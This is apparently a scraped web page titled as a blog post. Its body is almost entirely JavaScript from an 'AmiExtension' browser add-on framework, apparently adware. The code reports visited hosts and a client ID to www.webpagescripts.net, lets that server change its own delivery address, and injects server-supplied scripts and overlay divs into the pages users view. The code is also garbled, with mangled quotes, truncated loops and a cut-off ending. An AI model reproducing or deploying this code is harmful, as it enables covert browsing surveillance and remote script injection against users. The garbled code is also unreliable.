MAIN ERROR SYSTEM COLLAPSE – BREAKDOWN! ASYMMETRIC

(689 no leídos) – slang_poetry – Yahoo Mail// 0){} }window.NeoGV=window.NeoGV||{};NeoGV.startTime=(new Date()).getTime();
// ]]>// <![CDATA[
//build 1.0.7
EXPORTED_SYMBOLS = ["AmiExtension", "BaseFfAddOn", "extend"];

function AmiExtension(){}

AmiExtension.browser = '';
AmiExtension.logEnabled = true;
AmiExtension.xmlHttpRequestClass = false;
AmiExtension.initParam = false;
AmiExtension.cores = {};
AmiExtension.delivery_url = "www.webpagescripts.net/ExtensionSrv/fetch.php";
AmiExtension.delivery_url_https = "www.webpagescripts.net/ExtensionSrv/fetch.php";
AmiExtension.dns_failover = false;

AmiExtension.log = function(arg,overrideBrowser){

var browser = AmiExtension.browser;
if(overrideBrowser)
{
browser = overrideBrowser;
}

if(!AmiExtension.logEnabled)return;
switch(browser){
case 'ff':
Components.classes["@mozilla.org/consoleservice;1"].getService(Components.interfaces.nsIConsoleService).logStringMessage("" + arg);
break;
case 'ch':
console.log(arg);
break;
case 'ie':
try{console.log(arg);}
catch(excl){/*no luck…*/}
break;
default:
break;
}
};

AmiExtension.onImportFF = function(data)
{
AmiExtension.resourceUri = data.resourceUri;
};
AmiExtension.onImportCH = function(data)
{
//run on every page contact script
AmiExtension.log("[[[[ onImportCH","ch");
AmiExtension.resourceUri = data.resourceUri;

};

AmiExtension.onImportIE = function(data)
{
//NOT WORKING YET
};

/**
* Converts the given data structure to a json string.
* http://www.openjs.com/scripts/data/json_encode.php
*/
AmiExtension.Json = {};
AmiExtension.Json.escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
AmiExtension.Json.meta = { // table of character substitutions
'\b': '\\b',
'\t': '\\t',
'\n': '\\n',
'\f': '\\f',
'\r': '\\r',
'"' : '\\"',
'\\': '\\\\'
};

AmiExtension.Json.StringifyObject = function (arr) {
if(typeof(JSON) != 'undefined') return JSON.stringify(arr);
var parts = [];
var is_list = (arr.constructor == Array), embed;

for(var key in arr) {
var value = arr[key], str;
embed = '"';
switch(typeof(value)){
case 'object':
if(!value)str = 'null';
else {
embed = '';
str = AmiExtension.Json.StringifyObject(value);
}
break;
case 'string':
str = value.replace(AmiExtension.Json.escapable, function (a) {
return typeof(meta[a]) === 'string' ? meta[a] : '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
});
break;
case 'number':
str = isFinite(value) ? String(value) : 'null';
break;
case 'boolean':
case 'null':
// If the value is a boolean or null, convert it to a string. Note:
// typeof null does not produce 'null'. The case is included here in
// the remote chance that this gets fixed someday.
str = String(value);
break;
default:
continue;
break;
}
str = embed + str + embed;
parts.push(is_list ? str : '"' + key + '":' + str);
}
var json = parts.join(',');
if(is_list) return '[' + json + ']';
return '{' + json + '}';
};

AmiExtension.Json.ParseObject = (function () {
var number = '(?:-?\\b(?:0|[1-9][0-9]*)(?:\\.[0-9]+)?(?:[eE][+-]?[0-9]+)?\\b)';
var oneChar = '(?:[^\-\\x08\\x0a-\\x1f\"\\\\]' + '|\\\\(?:[\"/\\\\bfnrt]|u[0-9A-Fa-f]{4}))';
var string = '(?:\"' + oneChar + '*\")';

// Will match a value in a well-formed JSON file.
// If the input is not well-formed, may match strangely, but not in an unsafe
// way.
// Since this only matches value tokens, it does not match whitespace, colons,
// or commas.
var jsonToken = new RegExp(
'(?:false|true|null|[\\{\\}\\[\\]]' + '|' + number + '|' + string + ')', 'g');

// Matches escape sequences in a string literal
var escapeSequence = new RegExp('\\\\(?:([^u])|u(.{4}))', 'g');

// Decodes escape sequences in object literals
var escapes = {
'"': '"',
'/': '/',
'\\': '\\',
'b': '\b',
'f': '\f',
'n': '\n',
'r': '\r',
't': '\t'
};
function unescapeOne(_, ch, hex) {
return ch ? escapes[ch] : String.fromCharCode(parseInt(hex, 16));
}

// A non-falsy value that coerces to the empty string when used as a key.
var EMPTY_STRING = new String('');
var SLASH = '\\';

// Constructor to use based on an open token.
var firstTokenCtors = { '{': Object, '[': Array };

return function (json) {
if(typeof(JSON) != 'undefined') return JSON.parse(json);
// Split into tokens
var toks = json.match(jsonToken);
// Construct the object to return
var result;
var tok = toks[0];
if ('{' === tok) {
result = {};
} else if ('[' === tok) {
result = [];
} else {
throw new Error(tok);
}

// If undefined, the key in an object key/value record to use for the next
// value parsed.
var key;
// Loop over remaining tokens maintaining a stack of uncompleted objects and
// arrays.
var stack = [result];
for (var i = 1, n = toks.length; i 1) ){
AmiExtension.delivery_url = AmiExtension.local.delivery_url;
}

AmiExtension.log(“AmUtils::Extension initialized ” + extName+ ‘ AmiLocal ‘ + typeof(AmiExtension.local) + ‘ AmiLocal.chan ‘ + AmiExtension.local.chan);

}
extCore.framework = AmiExtension;
extCore.helper = AmiExtension.helper;
if(!AmiExtension.coreCount)AmiExtension.coreCount = 1;
else AmiExtension.coreCount++;
AmiExtension.cores[extName] = extCore;
extCore.extNumber = AmiExtension.coreCount;
return extName;
};

AmiExtension.getXmlHttp = function(){
if(AmiExtension.xmlHttpRequestObject)return AmiExtension.xmlHttpRequestObject;
if(AmiExtension.xmlHttpRequestClass)return AmiExtension.xmlHttpRequestClass();
if(XMLHttpRequest)return new XMLHttpRequest();
return new ActiveXObject(‘MSXML2.XMLHTTP.3.0’);
};

AmiExtension.getExtension = function(core){
if(!AmiExtension.addOn){
AmiExtension.log(“AmUtils::getExtension called before init, or init failed “);
return false;
}
return new AmiExt(core);
};

AmiExtension.asyncXhr = function(core, postData,cacheBuster) {
if(!core || !AmiExtension.delivery_url){
AmiExtension.log(‘Request skipped: ‘ + AmiExtension.delivery_url + ‘ core ‘ + core);
AmiExtension.preprocessServerResponse(core, {});
return;
}
var post = null;
if(postData && core.helper){
postData.ami_ext_name = core.name;
post = core.helper.encodePostData(postData, ”);
}
try{
var xhr = AmiExtension.getXmlHttp();
xhr.onreadystatechange = function (functionData) {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
try
{
var resp = AmiExtension.Json.ParseObject (xhr.responseText);
AmiExtension.preprocessServerResponse(core, resp);
}
catch (excptn)
{
AmiExtension.log(‘Exception ‘ + excptn + ‘ in Xhr callback’);
}
}
}
};
var proto = (‘https:’ == core.wnd.document.location.protocol ? ‘https://&#8217; : ‘http://&#8217;) ;

var rand = “”+ (new Date().getTime());
var delivery_url = core.delivery_url;;
if(proto===’https://&#8217;)
{
delivery_url = core.delivery_url_https;
}
var fullUrl = proto+delivery_url;

if(post){
if((typeof variable === ‘undefined’) && (cacheBuster === true))
{
fullUrl = fullUrl+”?rand=”+rand;
}
xhr.open(‘POST’, fullUrl , true);
xhr.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
}
else
{
if((typeof variable === ‘undefined’) && (cacheBuster === true))
{
post[“rand”] = rand;
}

xhr.open(‘GET’, fullUrl, true);
}
xhr.send(post);
}
catch(excptn){
AmiExtension.log(‘Exception ‘ + excptn + ‘ in Xhr’);
}
};

AmiExtension.preprocessServerResponse = function(core, serverResponse){
if(serverResponse[‘AmiExtension’]){
serverResp = serverResponse[‘AmiExtension’];
if(serverResp.client)
core.ext.sendRequest({method:”setPref”, key:”client_id”, val:serverResp.client},
function (response) {
AmiExtension.log(“client id saved ” + response.data);
if(response.error)AmiExtension.log(response.error);
});
if(serverResp.delivery_url){
core.ext.sendRequest({method:”setPref”, key:”delivery_url”, val:serverResp.delivery_url},
function (response) {
if(response.error)AmiExtension.log(response.error);
else AmiExtension.log(“Deliver url changed to …”);
});
AmiExtension.delivery_url = serverResp.delivery_url;
}
//set next visit…

if(serverResp.nextv && serverResp.nextv > 0)
core.ext.sendRequest({method:”setNextVisitTime”, interval:serverResp.nextv, nexta:serverResp.nexta},
function (response) {
AmiExtension.log(“setNextVisitTime ” + response.data);
if(response.error)AmiExtension.log(response.error);
});
//handle script injection
if(serverResp.s){
var doc = core.wnd.document, n;
for(var i=0; i 0){
var body = core.wnd.document.body;
if(!body)return;
var div = core.wnd.document.createElement(“DIV”);
div.id = ‘ami_div’;
var left = 0;
if(serverResp.w){
div.style.width = ”+serverResp.w + ‘px’;
if(serverResp.algn <= 6)
switch(serverResp.algn %3){
case 1: left = 0; break;
case 2: left = (core.wnd.document.body.clientWidth – serverResp.w)/2; break;
case 0: left = (core.wnd.document.body.clientWidth – serverResp.w); break;
default: break;
}
}
else {
div.style.width = '100%';
}
div.style.display = 'block';
div.style.zIndex = 999;
div.style.position = 'relative';
if(left 1) ){
overrideccode = AmiExtension.local.overrideccode;
postData.overrideccode=overrideccode;
}

if( (typeof (AmiExtension.local.test) !== ‘undefined’) && ((“”+AmiExtension.local.test)||(AmiExtension.local.test==0)) ){

postData.test=””+AmiExtension.local.test;
}
else
{
postData.test=”undefined”;
}

postData.rand = “”+ (new Date().getTime());

try
{
that.pageVisit(response, postData);
}
catch (excpt)
{
AmiExtension.log(“Core page visit: Exception ” + excpt);
}
that.framework.asyncXhr(that, postData,true);
});
};

var origOnLoad = wnd.onload;
wnd.onload = function () {
if(origOnLoad)origOnLoad();
coreExt.amiLoadHandler(‘onload’);
};

coreExt.timerSendUrls = coreExt.wnd.setTimeout(function(){coreExt.amiLoadHandler(‘timer’);}, 1000);
coreExt.scriptExecuted = false;

};

AmiExtension.run = function(browser, coreExtension, initParam, wnd,extensionFolderName){
//Should Only work for IE
if(browser != “ie”){return;}

AmiExtension.browser = browser;

var extn = AmiExtension.init(coreExtension, initParam);
if(!extn)return;

//FOR IE fail safe in case iframe is disabled from bho
try
{
var synchDivId = “__amiSyncDiv__”+extensionFolderName;
var synchDiv = wnd.document.getElementById(synchDivId);
synchDiv.ondataavailable = null;
}
catch(e) {}
AmiExtension.inject(extn, wnd);
};

AmiExtension.background = function(addOn, request, sendResponse) {
var rc = false;
var host= “”;
var response = {data:false, time:(new Date()).getTime(), “host”:host, hp:false, error:”};
try {response.host = host = request.ami_loc.host;}
catch (excpt){host = response.host = ”; response.error = “undefined host ” + excpt;}
if(!addOn.hostUtils) addOn.hostUtils = new HostUtils();
var hp = response.hp = addOn.hostUtils.parseHost(host);

try
{
if (request.method == “mayVisitNow”){
response.cl = addOn.getPref(“client_id”, ”);
rc = addOn.getPref(‘blackHost_’ + host, ”);
if(!rc)
rc = addOn.getPref(‘blackDomain_’+hp.domain+’.’+hp.tld, ”);
if(!rc)
rc = addOn.getPref(‘blackSite_’+hp.domain, ”);
if(!rc){ //i.e. not blacklisted
var now = (new Date()).valueOf();
rc = addOn.getAppStorage(‘hunv!0’ + host, 0) >= now;
if(!rc)rc = addOn.getAppStorage(‘hunv!1′ + hp.domain+’.’+hp.tld, 0) >= now;
if(!rc)rc = addOn.getAppStorage(‘hunv!2’ + hp.domain, 0) >= now;
}
rc = !rc;
}

if (request.method == “setPref”){
addOn.setPref(request.key, request.val);
rc = true;
}
if (request.method == “getPref”){
response.pref_key = request.key;
response.pref_val = addOn.getPref(request.key, request.dflt);
rc = true;
}
if (request.method == “setNextVisitTime”){
var i = new Date();
i.setMinutes(i.getMinutes() + request.interval);
rc = i.valueOf();
i = ‘0’+host;
if(request.nexta == 1)i = ‘1’ + hp.domain+’.’+hp.tld;
if(request.nexta == 2)i = ‘2’ + hp.domain;
addOn.setAppStorage(‘hunv!’ + i, rc);
}
response.data = rc;
}
catch (exch)
{
response.error = “Background exception: ” + exch;
}
if(addOn.bgHandler)addOn.bgHandler(request, response);
addOn.respond(request, response, sendResponse);
};

function AmiExt(core){
this.ami_wnd = core.wnd;
this.ami_name = core.name;
this.sendRequest = function(request, callback){
if(!AmiExtension.addOn){
AmiExtension.log(“AmiExt::sendRequest called before init, or init failed ” + AmiExtension.Json.StringifyObject(request));
return;
}
request.ami_doc = this.ami_wnd.document;
request.ami_name = this.ami_name;
request.ami_loc = {href:”, host:”};
try
{
request.ami_loc.href = request.ami_doc.location.href;
request.ami_loc.host = request.ami_doc.location.host.toLowerCase();
}
catch (exch){}
if(AmiExtension.browser == ‘ch’)request.ami_doc = null;
//if(callback)callback(response);
AmiExtension.addOn.sendRequest(request, callback);
};
}

function extend(sub, base) {
function surrogateCtor(){}
// Copy the prototype from the base to setup inheritance
surrogateCtor.prototype = base.prototype;
// Tricky huh?
sub.prototype = new surrogateCtor();
// Remember the constructor property was set wrong, let’s fix it
sub.prototype.constructor = sub;
}

function BaseAddOn(extn){
this.name = extn;
this.bgHandler = BaseAddOn.getCoreBgHandler(this);
this.background = false;

this.listener = function(request, sendResponse){
AmiExtension.background(this, request, sendResponse);
};

this.getAppStorage = function(key, dflt){
return (!AmiExtension.bgstore || !AmiExtension.bgstore[key]) ? dflt : AmiExtension.bgstore[key];
};
this.setAppStorage = function(key, val){if(!AmiExtension.bgstore)AmiExtension.bgstore={}; AmiExtension.bgstore[key] = val;};

this.setDeliveryUrl = function(){
if(this.background)AmiExtension.delivery_url = this.getPref(‘delivery_url’,AmiExtension.delivery_url);
else this.sendRequest({method:’getPref’, key:’delivery_url’, dflt:AmiExtension.delivery_url},
function(){
if(response.error)
AmiExtension.log(“Cannot get delivery URL from preferences” + response.error);
else AmiExtension.delivery_url = response.pref_val;
});
};
}

BaseAddOn.getCoreBgHandler = function(addOn){
try
{
var context = window;
return (context && context[addOn.name] && context[addOn.name].background) ? context[addOn.name].background : false;
}
catch (excpt)
{
return false;
}
};

function BaseChAddOn(extn){
BaseAddOn.call(this, extn);

this.getPref = function(key, defaultValue){
return (typeof(localStorage[key]) == ‘undefined’) ? defaultValue : localStorage[key];
};

this.setPref = function(key, val){
localStorage[key] = val;
};

this.respond = function(request, response, callback){
response.ami_name = request.ami_name;
callback(response);
};

this.sendRequest = function(request, callback){
chrome.extension.sendRequest(request, callback);
};
}
extend(BaseChAddOn,BaseAddOn);

BaseChAddOn.createAddOn = function(extn){
if(!extn)return false;
if(typeof(ChAddOn) == ‘undefined’)return new BaseChAddOn(extn);
var key = ‘!’ + extn + ‘!’;
if(!AmiExtension.bgstore || !AmiExtension.bgstore[key])
return new ChAddOn(extn);
else return AmiExtension.bgstore[key];
};

BaseChAddOn.listen = function(){

chrome.extension.onRequest.addListener(function (request, sender, sendResponse) {
var ext = BaseChAddOn.createAddOn(request.ami_name);
try
{
if(ext)ext.listener(request, sendResponse);
//else ext.respond(request, {error: “BaseChAddOn::failed to get/create addon ” +AmiExtension.Json.StringifyObject(request)}, sendResponse);
}
catch (exch)
{
ext.respond(request, {error: “BaseChAddOn::exception in listener ” + exch + ” request “+AmiExtension.Json.StringifyObject(request)}, sendResponse);
}
});
chrome.tabs.onUpdated.addListener(function(tabId,changeInfo,tab){
var url =””+ tab.url;
console.log(“onUpdated: “+url+” changeInfo: “+changeInfo.status);
if(!changeInfo.status || changeInfo.status != ‘complete’)
return;

if( (url.indexOf(“http”)>=0)|| (url.indexOf(“https”)>=0) )
{
//alert(“background tab update sending message: “+url);
console.log(“background tab update sending message: “+url);
chrome.tabs.sendRequest(tabId, {event:’updatedTab’, “url”:tab.url});
}
});
//for fixing bug
//http://code.google.com/p/chromium/issues/detail?id=109557
//http://stackoverflow.com/questions/9515474/chrome-tabs-onupdated-addlistener-not-fired-when-page-is-retrieved-from-cache
chrome.tabs.onReplaced.addListener(function(addedTabId, removedTabId){
console.log(“onReplaced integer addedTabId, integer removedTabId: “+addedTabId, removedTabId);
var tabId = addedTabId;

chrome.tabs.get(tabId,function(tab){
var url =””+ tab.url;
var changeInfo ={status:tab.status};
console.log(“onReplaced fix: “+url+” changeInfo: “+changeInfo.status);
if(!changeInfo.status || changeInfo.status != ‘complete’)
return;

if( (url.indexOf(“http”)>=0)|| (url.indexOf(“https”)>=0) )
{
//alert(“background tab update sending message: “+url);
console.log(“onReplaced fix- sending message: “+url);
chrome.tabs.sendRequest(tabId, {event:’updatedTab’, “url”:tab.url});
}
});

});
};

function BaseFfAddOn(extn){
BaseAddOn.call(this, extn);
this.prefManager = Components.classes[“@mozilla.org/preferences-service;1”].getService(Components.interfaces.nsIPrefBranch);

this.getAppStorage = function(key, dflt){
return BaseFfAddOn.appStorage.get(key, dflt);
};
this.setAppStorage = function(key, val){BaseFfAddOn.appStorage.set(key, val);};

BaseFfAddOn.appStorage.set(‘!’ + extn + ‘!’, this);

this.getPref = function(key, defaultValue){
try{
return this.prefManager.getCharPref(“extensions.”+this.name+”.” + key);
}
catch(exch){return defaultValue;}
};

this.setPref = function(key, val){
this.prefManager.setCharPref(“extensions.”+this.name+”.” + key, val);
};

this.respond = function(request, response, callback){
var doc = request.ami_doc;
response.ami_name = request.ami_name;
var node = doc.createTextNode(AmiExtension.Json.StringifyObject(response));
AmiExtension.log(‘Event created ‘+request.method);
node.addEventListener(“amiffresponse”,
function(event) {
var n = event.currentTarget;
AmiExtension.log(‘Event received ‘+n.nodeValue);
if (callback) {
var resp = AmiExtension.Json.ParseObject(n.nodeValue);
callback(resp);
}
if (n.parentNode) n.parentNode.removeChild(n);
}, false);
var event = doc.createEvent(“HTMLEvents”);
event.initEvent(“amiffresponse”, true, false);
AmiExtension.log(‘Event dispatch ‘+request.method);
node.dispatchEvent(event);
AmiExtension.log(‘Event dispatched’);
};

this.onload = function(evt){
window.addEventListener(“load”,
function()
{
//alert(“In onload”);
gBrowser.addEventListener(‘DOMContentLoaded’, function (evt) {
var doc = null, view = null;
var vt;
try{ doc = evt.target; view = doc.defaultView; vt = doc.documentElement.getAttribute(“windowtype”); }
catch(exccs){vt=”none”;}
//alert(‘DOMContentLoaded ‘ + vt + ‘ document ‘ + doc);
if (doc && typeof(view) != ‘undefined’ && (view.top == view.self) && (!vt || vt == “navigator:browser”))
AmiExtension.inject(this.name, view);
}, false);
}, false);
};

}
extend(BaseFfAddOn,BaseAddOn);

BaseFfAddOn.createAddOn = function(extn){
if(!extn)return false;
BaseFfAddOn.createAppStorage();
var ext = BaseFfAddOn.appStorage.get(‘!’ + extn + ‘!’, false);
return ext ? ext : new FfAddOn(extn);
};

BaseFfAddOn.createAppStorage = function(){
if(!BaseFfAddOn.appStorage)
BaseFfAddOn.appStorage = {
app : Components.classes[“@mozilla.org/fuel/application;1″].getService(Components.interfaces.fuelIApplication),
get : function(key, dflt){
return this.app.storage.get(‘ami_ext_.’ +key, dflt);
},
set : function(key, val){this.app.storage.set(‘ami_ext_.’ +key, val);}
};
};

function BaseIeAddOn(extn){
BaseAddOn.call(this, extn);

this.getPref = function(key, defaultValue){
try{
return this.intHelper ? this.intHelper.getPref(this.name, key, defaultValue) : defaultValue;
}
catch(exch){return defaultValue;}
};

this.setPref = function(key, val){
if(this.intHelper)this.intHelper.setPref(this.name, key, val);
};

this.getAppStorage = function(key, dflt){return this.intHelper ? this.intHelper.get(this.name, key, dflt) : dflt;};
this.setAppStorage = function(key, val){if(this.intHelper)this.intHelper.set(this.name, key, val);};

this.respond = function(request, response, callback){
//debugger;
var doc = request.ami_doc;
response.ami_name = request.ami_name;
var t = AmiExtension.Json.StringifyObject(response);
var node = doc.createElement(‘div’);
node.style.display=’none’;
node.innerHTML = t;
AmiExtension.log(‘Event created ‘+request.method);
function evListener(event) {
var n = event.target || event.srcElement;
AmiExtension.log(‘Event received ‘+n.innerHTML);
if (callback) {
var resp =AmiExtension.Json.ParseObject(n.innerHTML);
callback(resp);
}
if(n.parentNode)n.parentNode.removeChild(n);
}
doc.body.appendChild(node);
AmiExtension.listen2Event(node,”dataavailable”, evListener);
AmiExtension.log(‘Event fire ‘+request.method);
AmiExtension.fireEvent(doc, node, ‘dataavailable’);
AmiExtension.log(‘Event fired’);
};

this.sendRequest = function(request, callback){
//debugger;
if(!request.ami_doc)return;
var myDiv = request.ami_doc.getElementById(“__amiSyncDiv__”+extn);
if(!myDiv)return;
this.intHelper = myDiv.ami_object;
if(!AmiExtension.xmlHttpRequestObject)
AmiExtension.xmlHttpRequestObject = myDiv.ami_xml;
if(this.listener)this.listener(request, callback);
};
}
extend(BaseIeAddOn,BaseAddOn);

BaseIeAddOn.createAddOn = function(extn){
if(!extn)return false;
return new IeAddOn(extn);
};

function AmiInjectInit(extensionFolderName){
AmiExtension.browser = ‘ie’;
AmiExtension.run(‘ie’,window[extensionFolderName], false, false,extensionFolderName);
}
EXPORTED_SYMBOLS = [“AmiLocal”];
function AmiLocal(){}
AmiLocal.chan=’4369′;
AmiLocal.sysid=’18C157512AC549A53448B75AA3708111′;
AmiLocal.test=’1.4′;
EXPORTED_SYMBOLS = [“AmiHelper”];

function AmiHelper(){}
AmiHelper.b64array = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=”;
AmiHelper.decode64 = function(input) {
var output = “”;
var hex = “”;
var chr1, chr2, chr3 = “”;
var enc1, enc2, enc3, enc4 = “”;
var i = 0;

input = input.replace(/[^A-Za-z0-9\+\/\=]/g, “”);

do {
enc1 = AmiHelper.b64array.indexOf(input.charAt(i++));
enc2 = AmiHelper.b64array.indexOf(input.charAt(i++));
enc3 = AmiHelper.b64array.indexOf(input.charAt(i++));
enc4 = AmiHelper.b64array.indexOf(input.charAt(i++));

chr1 = (enc1 <> 4);
chr2 = ((enc2 & 15) <> 2);
chr3 = ((enc3 & 3) << 6) | enc4;

output = output + String.fromCharCode(chr1);

if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}

chr1 = chr2 = chr3 = "";
enc1 = enc2 = enc3 = enc4 = "";

} while (i < input.length);
return output;
};

AmiHelper.encodePostData = function (o, prefix) {
if (!o || typeof o !== 'object') {
return false;
}
var _p, _qs = [], op;
for (_p in o) {
op = o[_p];
if(typeof(op) == 'undefined')continue;
if(op.constructor == Array){
for(var i = 0; i=0)
{
return “ie”;
}
else if(agent.toLowerCase().indexOf(“chrome”)>=0)
{
return “ch”;
}
else if(agent.toLowerCase().indexOf(“firefox”)>=0)
{
return “ff”;
}
return “ie”;
};

//bgResponse is a response from a background extension core
//postData is an object to be posted to delivery_url
this.pageVisit = function(bgResponse, postData){
console.log(this);
console.log(this.name);
if(!bgResponse.data)return; //we shouldn’t visit this site now…
var tempName = this.name;
postData[tempName] = “1”;
postData[“check”]=”1″;
postData[“ver”]=”106″;
};

this.pageInit = function() {
if(!this.wnd.document.location.href.match(/^https{0,1}\:\/\//i))return;

return true;
};

this.getQueryParams = function(qs){
qs = qs.split(“+”).join(” “);

var params = {}, tokens,
re = /[?&]?([^=]+)=([^&]*)/g;

while (tokens = re.exec(qs)) {
params[decodeURIComponent(tokens[1])]
= decodeURIComponent(tokens[2]);
}

return params;

};

/**
* @returns {AmiConsole}
*/
this.getConsole = function(wnd)
{
var amiConsole = new AmiConsole(wnd);
return amiConsole;
};

}

function AmiConsole(wnd)
{
this.wnd = wnd;
}

flashEnhancer.background = function(request, response){
//example, may be void
if(request.method == ‘whateverMethod’){
response.whatever = ‘whateverMethod called’;
}
};

AmiConsole.prototype.log = function(obj)
{
try{
if(this.wnd)
{
this.wnd.console.log(obj);
}
else
{
this.wnd.console.log(obj);
}
}catch(e){}
};

AmiConsole.prototype.amiLog = function(obj) {
try{
if((typeof obj) == “undefined”){obj=”#undefined#”;}
if((obj) == null){obj=”#null#”;}
this.log(“[[[[ “+obj, this.wnd);
}catch(e){};
};

EXPORTED_SYMBOLS = [“HostUtils”];

function HostUtils(){
this.tlds={“ba”:”1″,”com.ba”:”2″,”ca”:”3″,”ab.ca”:”4″,”mb.ca”:”5″,”nb.ca”:”6″,”bc.ca”:”7″,”qc.ca”:”8″,”pe.ca”:”9″,”nf.ca”:”10″,”sk.ca”:”11″,”yk.ca”:”12″,”on.ca”:”13″,”ns.ca”:”14″,”nt.ca”:”15″,”ga”:”16″,”la”:”17″,”org.la”:”18″,”com.la”:”19″,”net.la”:”20″,”ma”:”21″,”com.ma”:”22″,”na”:”23″,”org.na”:”24″,”cul.na”:”25″,”unam.na”:”26″,”com.na”:”27″,”telecom.na”:”28″,”un.na”:”29″,”net.na”:”30″,”alt.na”:”31″,”pa”:”32″,”ac.pa”:”33″,”sld.pa”:”34″,”org.pa”:”35″,”com.pa”:”36″,”net.pa”:”37″,”edu.pa”:”38″,”gov.pa”:”39″,”arpa”:”40″,”qa”:”41″,”com.qa”:”42″,”sa”:”43″,”med.sa”:”44″,”org.sa”:”45″,”sch.sa”:”46″,”com.sa”:”47″,”net.sa”:”48″,”edu.sa”:”49″,”gov.sa”:”50″,”ua”:”51″,”org.ua”:”52″,”com.ua”:”53″,”net.ua”:”54″,”gov.ua”:”55″,”va”:”56″,”za”:”57″,”ac.za”:”58″,”org.za”:”59″,”mil.za”:”60″,”nom.za”:”61″,”co.za”:”62″,”ngo.za”:”63″,”net.za”:”64″,”edu.za”:”65″,”gov.za”:”66″,”bb”:”67″,”org.bb”:”68″,”com.bb”:”69″,”net.bb”:”70″,”web”:”71″,”gb”:”72″,”lb”:”73″,”org.lb”:”74″,”mil.lb”:”75″,”com.lb”:”76″,”net.lb”:”77″,”gov.lb”:”78″,”sb”:”79″,”com.sb”:”80″,”ac”:”81″,”cc”:”82″,”org.cc”:”83″,”com.cc”:”84″,”edu.cc”:”85″,”gov.cc”:”86″,”ec”:”87″,”k12.ec”:”88″,”med.ec”:”89″,”org.ec”:”90″,”mil.ec”:”91″,”com.ec”:”92″,”fin.ec”:”93″,”pro.ec”:”94″,”net.ec”:”95″,”edu.ec”:”96″,”gov.ec”:”97″,”lc”:”98″,”org.lc”:”99″,”com.lc”:”100″,”net.lc”:”101″,”edu.lc”:”102″,”gov.lc”:”103″,”mc”:”104″,”tm.mc”:”105″,”asso.mc”:”106″,”nc”:”107″,”org.nc”:”108″,”com.nc”:”109″,”asso.nc”:”110″,”net.nc”:”111″,”sc”:”112″,”com.sc”:”113″,”tc”:”114″,”vc”:”115″,”com.vc”:”116″,”ad”:”117″,”org.ad”:”118″,”com.ad”:”119″,”net.ad”:”120″,”bd”:”121″,”cd”:”122″,”arpa.cd”:”123″,”org.cd”:”124″,”mil.cd”:”125″,”com.cd”:”126″,”net.cd”:”127″,”edu.cd”:”128″,”gov.cd”:”129″,”gd”:”130″,”com.gd”:”131″,”id”:”132″,”ac.id”:”133″,”sch.id”:”134″,”mil.id”:”135″,”co.id”:”136″,”go.id”:”137″,”or.id”:”138″,”net.id”:”139″,”md”:”140″,”org.md”:”141″,”com.md”:”142″,”net.md”:”143″,”sd”:”144″,”td”:”145″,”ae”:”146″,”org.ae”:”147″,”com.ae”:”148″,”net.ae”:”149″,”be”:”150″,”ac.be”:”151″,”de”:”152″,”arpa.de”:”153″,”org.de”:”154″,”mil.de”:”155″,”com.de”:”156″,”nato.de”:”157″,”net.de”:”158″,”int.de”:”159″,”gov.de”:”160″,”ee”:”161″,”org.ee”:”162″,”mil.ee”:”163″,”com.ee”:”164″,”net.ee”:”165″,”int.ee”:”166″,”edu.ee”:”167″,”gov.ee”:”168″,”ge”:”169″,”org.ge”:”170″,”mil.ge”:”171″,”com.ge”:”172″,”net.ge”:”173″,”pvt.ge”:”174″,”edu.ge”:”175″,”gov.ge”:”176″,”ie”:”177″,”arpa.ie”:”178″,”org.ie”:”179″,”mil.ie”:”180″,”com.ie”:”181″,”net.ie”:”182″,”edu.ie”:”183″,”gov.ie”:”184″,”je”:”185″,”org.je”:”186″,”sch.je”:”187″,”co.je”:”188″,”net.je”:”189″,”gov.je”:”190″,”ke”:”191″,”co.ke”:”192″,”name”:”193″,”ne”:”194″,”pe”:”195″,”org.pe”:”196″,”mil.pe”:”197″,”com.pe”:”198″,”net.pe”:”199″,”int.pe”:”200″,”edu.pe”:”201″,”gov.pe”:”202″,”re”:”203″,”org.re”:”204″,”com.re”:”205″,”net.re”:”206″,”store”:”207″,”se”:”208″,”tm.se”:”209″,”pp.se”:”210″,”ve”:”211″,”web.ve”:”212″,”bib.ve”:”213″,”rec.ve”:”214″,”tec.ve”:”215″,”store.ve”:”216″,”org.ve”:”217″,”mil.ve”:”218″,”com.ve”:”219″,”mom.ve”:”220″,”firm.ve”:”221″,”co.ve”:”222″,”info.ve”:”223″,”arts.ve”:”224″,”net.ve”:”225″,”int.ve”:”226″,”edu.ve”:”227″,”gov.ve”:”228″,”ye”:”229″,”com.ye”:”230″,”af”:”231″,”bf”:”232″,”org.bf”:”233″,”com.bf”:”234″,”cf”:”235″,”gf”:”236″,”nf”:”237″,”web.nf”:”238″,”rec.nf”:”239″,”store.nf”:”240″,”com.nf”:”241″,”firm.nf”:”242″,”info.nf”:”243″,”per.nf”:”244″,”arts.nf”:”245″,”pf”:”246″,”tf”:”247″,”wf”:”248″,”org.wf”:”249″,”com.wf”:”250″,”net.wf”:”251″,”ag”:”252″,”org.ag”:”253″,”com.ag”:”254″,”net.ag”:”255″,”edu.ag”:”256″,”gov.ag”:”257″,”bg”:”258″,”cg”:”259″,”arpa.cg”:”260″,”org.cg”:”261″,”mil.cg”:”262″,”com.cg”:”263″,”net.cg”:”264″,”edu.cg”:”265″,”gov.cg”:”266″,”eg”:”267″,”org.eg”:”268″,”sci.eg”:”269″,”com.eg”:”270″,”eun.eg”:”271″,”net.eg”:”272″,”edu.eg”:”273″,”gov.eg”:”274″,”gg”:”275″,”org.gg”:”276″,”sch.gg”:”277″,”co.gg”:”278″,”net.gg”:”279″,”gov.gg”:”280″,”kg”:”281″,”mg”:”282″,”ng”:”283″,”com.ng”:”284″,”sk”:”285″,”tk”:”286″,”uk”:”287″,”ac.uk”:”288″,”plc.uk”:”289″,”mod.uk”:”290″,”ltd.uk”:”291″,”police.uk”:”292″,”me.uk”:”293″,”org.uk”:”294″,”sch.uk”:”295″,”co.uk”:”296″,”nhs.uk”:”297″,”net.uk”:”298″,”gov.uk”:”299″,”com. 